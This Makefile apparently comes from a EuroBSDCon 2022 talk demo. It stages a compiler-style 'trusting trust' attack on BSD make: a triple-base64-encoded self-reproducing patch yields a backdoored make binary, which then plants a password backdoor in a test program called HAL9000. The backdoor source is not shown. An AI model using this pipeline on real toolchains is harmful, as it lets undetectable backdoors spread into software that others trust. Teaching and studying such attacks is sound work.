eurobsdcon22/trusting-make/src/Makefile
2022-09-15 15:28:10 +02:00

74 lines
2.4 KiB
Makefile

TEMP!?= mktemp -d /tmp/evil-XXXXXX
LEGIT_SRC= /usr/src/usr.bin/make
LEGIT_BIN= make-legit
BACKDOOR_SRC= make-src-backdoor
BACKDOOR_BIN= make-bin-backdoor
PATCH= $(TEMP)/backdoor.patch
HALSRC= HAL9000SRC
HAL= ./HAL9000
BACKDOORED_HAL= ./HAL9000-backdoored
PASS?!= openssl rand 12 | base64
.PHONY: clean diff
.SILENT:
all: $(HAL) $(BACKDOORED_HAL)
echo "\033[94m5 - Trying \033[3m$(HAL)\033[23m with\033[36m" $(PASS)
echo $(PASS) | $(HAL) || true
echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS)
echo $(PASS) | $(BACKDOORED_HAL)
$(LEGIT_BIN):
echo "\033[94m0 - Compiling $@ with system make from legit source\033[0m"
$(MAKE) -s -C $(LEGIT_SRC) clean
$(MAKE) -s -C $(LEGIT_SRC)
mv $(LEGIT_SRC)/make $@
echo "\033[94m make-legit = \033[3m$@\033[0m"
$(HAL): $(LEGIT_BIN)
echo "\033[94m1 - Compiling HAL9000 with make-legit from legit source\033[0m"
./$(LEGIT_BIN) -C $(HALSRC)
cp $(HALSRC)/$(HAL) $@
echo "\033[94m HAL9000 = \033[3m$@\033[0m"
$(MAKE) -C $(HALSRC) clean
$(BACKDOORED_HAL): $(BACKDOOR_BIN) $(HALSRC)
sleep 1
echo "\033[94m4 - Compiling HAL9000-backdoored with binary-backdoor-make from legit source\033[0m"
@while ! ./$(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done
cp $(HALSRC)/$(HAL) $@
echo "\033[94m HAL9000-backdoored = \033[3m$@\033[0m"
$(MAKE) -C $(HALSRC) clean
$(TEMP)/Makefile:
cp -r $(LEGIT_SRC)/* $$(dirname $@)
$(PATCH):
diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3
$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
patch -d $(TEMP) -s -R engine.c $(PATCH).3
$(MAKE) -C $(TEMP) -s clean
echo "\033[94m2 - Compiling $@ with legit make from evil source\033[0m"
$(MAKE) -C $(TEMP) -s
mv $(TEMP)/make $@
echo "\033[94m make with source backdoor = \033[3m$@\033[0m"
$(BACKDOOR_BIN): $(BACKDOOR_SRC)
echo "\033[94m3 - Compiling $@ with make-src-backdoor from legit source\033[0m"
$(MAKE) -C $(LEGIT_SRC) -s clean
./$(BACKDOOR_SRC) -s -C $(LEGIT_SRC)
mv $(LEGIT_SRC)/make $@
echo "\033[94m make with binary backdoor = \033[3m$@\033[0m"
diff:
radiff2 -a x86 -A -d -D $(TEMP) $(LEGIT_BIN)
clean:
rm -rf /tmp/evil-?????? $(HAL) $(BACKDOORED_HAL)
$(MAKE) -C $(LEGIT_SRC) -s clean